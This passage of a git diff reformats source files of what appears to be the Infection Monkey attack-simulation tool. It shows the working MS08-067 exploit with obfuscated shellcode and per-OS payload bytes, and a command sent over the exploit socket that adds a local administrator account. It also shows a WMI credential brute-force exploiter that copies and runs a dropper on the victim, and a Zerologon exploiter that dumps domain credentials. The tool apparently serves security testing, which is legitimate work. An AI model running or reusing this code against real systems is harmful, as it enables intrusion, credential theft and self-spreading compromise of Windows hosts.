b"\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J" + b"\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01'\xa8\x03\x90\x01\xec\x13" + b"\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq" + b"\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8" + b"\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J" + b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-' +) SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() -XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00") +XP_PACKET = ( + "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" + "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" + "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" + "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" + "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" + "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" + "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" + "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" + "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" +) # Payload for Windows 2000 target -PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' -PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' -PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' -PAYLOAD_2000 += '\x41\x41' -PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\xeb\xcc' -PAYLOAD_2000 += '\x00\x00' +PAYLOAD_2000 = "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" +PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" +PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" +PAYLOAD_2000 += "\x41\x41" +PAYLOAD_2000 += "\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\xeb\xcc" +PAYLOAD_2000 += "\x00\x00" # Payload for Windows 2003[SP2] target -PAYLOAD_2003 = '\x41\x00\x5c\x00' -PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' -PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77' -PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00' -PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae' -PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00' -PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43' -PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff' -PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75' -PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5' -PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6' -PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' +PAYLOAD_2003 = "\x41\x00\x5c\x00" +PAYLOAD_2003 += "\x2e\x00\x2e\x00\x5c\x00\x2e\x00" +PAYLOAD_2003 += "\x2e\x00\x5c\x00\x0a\x32\xbb\x77" +PAYLOAD_2003 += "\x8b\xc4\x66\x05\x60\x04\x8b\x00" +PAYLOAD_2003 += "\x50\xff\xd6\xff\xe0\x42\x84\xae" +PAYLOAD_2003 += "\xbb\x77\xff\xff\xff\xff\x01\x00" +PAYLOAD_2003 += "\x01\x00\x01\x00\x01\x00\x43\x43" +PAYLOAD_2003 += "\x43\x43\x37\x48\xbb\x77\xf5\xff" +PAYLOAD_2003 += "\xff\xff\xd1\x29\xbc\x77\xf4\x75" +PAYLOAD_2003 += "\xbd\x77\x44\x44\x44\x44\x9e\xf5" +PAYLOAD_2003 += "\xbb\x77\x54\x13\xbf\x77\x37\xc6" +PAYLOAD_2003 += "\xba\x77\xf9\x75\xbd\x77\x00\x00" class WindowsVersion(IntEnum): @@ -141,10 +149,10 @@ def start(self): LOG.debug("Connected to %s", target_rpc_name) self._dce = self._trans.DCERPC_class(self._trans) - self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0"))) dce_packet = self._build_dce_packet() - self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation + self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) @@ -157,52 +165,57 @@ def _build_dce_packet(self): if self.os_version == WindowsVersion.WindowsXP: return XP_PACKET # Constructing Malicious Packet - dce_packet = '\x01\x00\x00\x00' - dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' + dce_packet = "\x01\x00\x00\x00" + dce_packet += "\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00" dce_packet += SHELLCODE - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x00\x00\x00\x00' - dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x00\x00\x00\x00" + dce_packet += "\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00" dce_packet += self._payload - dce_packet += '\x00\x00\x00\x00' - dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00' - dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00' - dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00' - dce_packet += '\x01\x00\x00\x00' + dce_packet += "\x00\x00\x00\x00" + dce_packet += "\x02\x00\x00\x00\x02\x00\x00\x00" + dce_packet += "\x00\x00\x00\x00\x02\x00\x00\x00" + dce_packet += "\x5c\x00\x00\x00\x01\x00\x00\x00" + dce_packet += "\x01\x00\x00\x00" return dce_packet class Ms08_067_Exploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] - _EXPLOITED_SERVICE = 'Microsoft Server Service' - _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, - 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, - 'Windows 5.1': WindowsVersion.WindowsXP} + _TARGET_OS_TYPE = ["windows"] + _EXPLOITED_SERVICE = "Microsoft Server Service" + _windows_versions = { + "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows 5.1": WindowsVersion.WindowsXP, + } def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) def is_os_supported(self): - if self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in list(self._windows_versions.keys()): + if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( + self._windows_versions.keys() + ): return True - if not self.host.os.get('type') or ( - self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): + if not self.host.os.get("type") or ( + self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") + ): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): - return self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in list(self._windows_versions.keys()) + return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( + "version" + ) in list(self._windows_versions.keys()) return False def _exploit_host(self): @@ -212,7 +225,9 @@ def _exploit_host(self): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2) + os_version = self._windows_versions.get( + self.host.os.get("version"), WindowsVersion.Windows2003_SP2 + ) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): @@ -221,11 +236,14 @@ def _exploit_host(self): try: sock = exploit.start() - sock.send("cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add).encode()) + sock.send( + "cmd /c (net user {} {} /add) &&" + " (net localgroup administrators {} /add)\r\n".format( + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add, + ).encode() + ) time.sleep(2) sock.recv(1000) @@ -241,20 +259,24 @@ def _exploit_host(self): return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - self._config.remote_user_pass) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + self._config.user_to_add, + self._config.remote_user_pass, + ) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + "Administrator", + password, + ) if remote_full_path: break @@ -263,16 +285,20 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + SRVSVC_Exploit.TELNET_PORT, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=SRVSVC_Exploit.TELNET_PORT) + cmdline = MONKEY_CMDLINE_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT + ) try: sock.send(("start %s\r\n" % (cmdline,)).encode()) @@ -286,7 +312,11 @@ def _exploit_host(self): except socket.error: pass - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, + ) return True diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 348fd230cb8..7120f572006 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,7 +7,11 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS @@ -16,9 +20,9 @@ class WmiExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)' + _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" VULNERABLE_PORT = 135 def __init__(self, host): @@ -38,8 +42,10 @@ def _exploit_host(self): password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \ - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) + creds_for_logging = ( + "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " + "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) + ) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() @@ -48,14 +54,20 @@ def _exploit_host(self): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) + LOG.debug( + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) + LOG.debug( + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ) continue except socket.error: - LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging) + LOG.debug( + ("Network error in WMI connection to %r with " % self.host) + creds_for_logging + ) return False except Exception as exc: LOG.debug( @@ -68,9 +80,12 @@ def _exploit_host(self): self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) # query process list and check if monkey already running on victim - process_list = WmiTools.list_object(wmi_connection, "Win32_Process", - fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1]) + process_list = WmiTools.list_object( + wmi_connection, + "Win32_Process", + fields=("Caption",), + where="Name='%s'" % ntpath.split(src_path)[-1], + ) if process_list: wmi_connection.close() @@ -78,45 +93,62 @@ def _exploit_host(self): return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, + ) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT) + cmdline = MONKEY_CMDLINE_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT + ) # execute the remote monkey - result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, - ntpath.split(remote_full_path)[0], - None) + result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( + cmdline, ntpath.split(remote_full_path)[0], None + ) if (0 != result.ProcessId) and (not result.ReturnValue): - LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", - remote_full_path, self.host, result.ProcessId, cmdline) + LOG.info( + "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + cmdline, + ) - self.add_vuln_port(port='unknown') + self.add_vuln_port(port="unknown") success = True else: - LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) + LOG.debug( + "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + result.ReturnValue, + cmdline, + ) success = False result.RemRelease() diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index aa82d78c53f..a30ceda2df9 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -17,8 +17,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump -from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( - get_dc_details, is_exploitable) +from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture @@ -120,9 +119,7 @@ def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None: request["AccountName"] = dc_name + "$\x00" request["ComputerName"] = dc_name + "\x00" - request[ - "SecureChannelType" - ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request["Authenticator"] = authenticator def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: @@ -151,9 +148,7 @@ def restore_password(self) -> bool: LOG.debug("DCSync; getting usernames and their passwords' hashes.") user_creds = self.get_all_user_creds() if not user_creds: - raise Exception( - "Couldn't extract any usernames and/or their passwords' hashes." - ) + raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") @@ -165,15 +160,11 @@ def restore_password(self) -> bool: user_details[1]["nt_hash"], ] try: - original_pwd_nthash = self.get_original_pwd_nthash( - username, user_pwd_hashes - ) + original_pwd_nthash = self.get_original_pwd_nthash(username, user_pwd_hashes) if original_pwd_nthash: break except Exception as e: - LOG.info( - f"Credentials didn\'t work. Exception: {str(e)}" - ) + LOG.info(f"Credentials didn't work. Exception: {str(e)}") if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -187,9 +178,7 @@ def restore_password(self) -> bool: # Start restoration attempts. LOG.debug("Attempting password restoration.") - _restored = self._send_restoration_rpc_login_requests( - rpc_con, original_pwd_nthash - ) + _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") @@ -244,9 +233,7 @@ def get_dumped_secrets( username: str = "", options: Optional[object] = None, ) -> List[str]: - dumper = DumpSecrets( - remote_name=remote_name, username=username, options=options - ) + dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) dumped_secrets = dumper.dump().split("\n") return dumped_secrets @@ -280,9 +267,7 @@ def store_extracted_creds_for_exploitation(self) -> None: self._extracted_creds[user]["nt_hash"], ) - def add_extracted_creds_to_exploit_info( - self, user: str, lmhash: str, nthash: str - ) -> None: + def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info["credentials"].update( { user: { @@ -295,9 +280,7 @@ def add_extracted_creds_to_exploit_info( ) # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config( - self, user: str, lmhash: str, nthash: str - ) -> None: + def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -320,13 +303,9 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), ) - dumped_secrets = self.get_dumped_secrets( - remote_name="LOCAL", options=options - ) + dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) for secret in dumped_secrets: - if ( - "$MACHINE.ACC: " in secret - ): # format of secret - "$MACHINE.ACC: lmhash:nthash" + if "$MACHINE.ACC: " in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" nthash = secret.split(":")[2] return nthash @@ -340,14 +319,14 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: LOG.info( - f'Starting remote shell on victim with credentials:\n' - f'user: {username}\n' - f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : ' - f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}' + f"Starting remote shell on victim with credentials:\n" + f"user: {username}\n" + f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " + f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip + ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip ) remote_shell = wmiexec.get_remote_shell() @@ -391,21 +370,13 @@ def remove_locally_saved_HKLM_keys(self) -> None: try: os.remove(path) except Exception as e: - LOG.info( - f"Exception occurred while removing file {path} from system: {str(e)}" - ) + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def _send_restoration_rpc_login_requests( - self, rpc_con, original_pwd_nthash - ) -> bool: + def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: for _ in range(0, self.MAX_ATTEMPTS): - restoration_attempt_result = self.try_restoration_attempt( - rpc_con, original_pwd_nthash - ) + restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) - is_restored = self.assess_restoration_attempt_result( - restoration_attempt_result - ) + is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) if is_restored: return is_restored @@ -415,9 +386,7 @@ def try_restoration_attempt( self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: try: - restoration_attempt_result = self.attempt_restoration( - rpc_con, original_pwd_nthash - ) + restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) return restoration_attempt_result except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. @@ -481,9 +450,7 @@ def attempt_restoration( def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: - LOG.debug( - "DC machine account password should be restored to its original value." - ) + LOG.debug("DC machine account password should be restored to its original value.") return True return False diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index b196528e762..9d2116d07e3 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -131,10 +131,7 @@ def dump(self): # noqa: C901 try: self.connect() except Exception as e: - if ( - os.getenv("KRB5CCNAME") is not None - and self.__do_kerberos is True - ): + if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 146d586154b..3b635f6b5e9 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -83,9 +83,7 @@ def do_get(self, src_path): newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) - local_file_path = os.path.join( - os.path.expanduser("~"), "monkey-" + filename - ) + local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename) fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) @@ -148,9 +146,7 @@ def output_callback(data): while True: try: - self.__transferClient.getFile( - self.__share, self.__output, output_callback - ) + 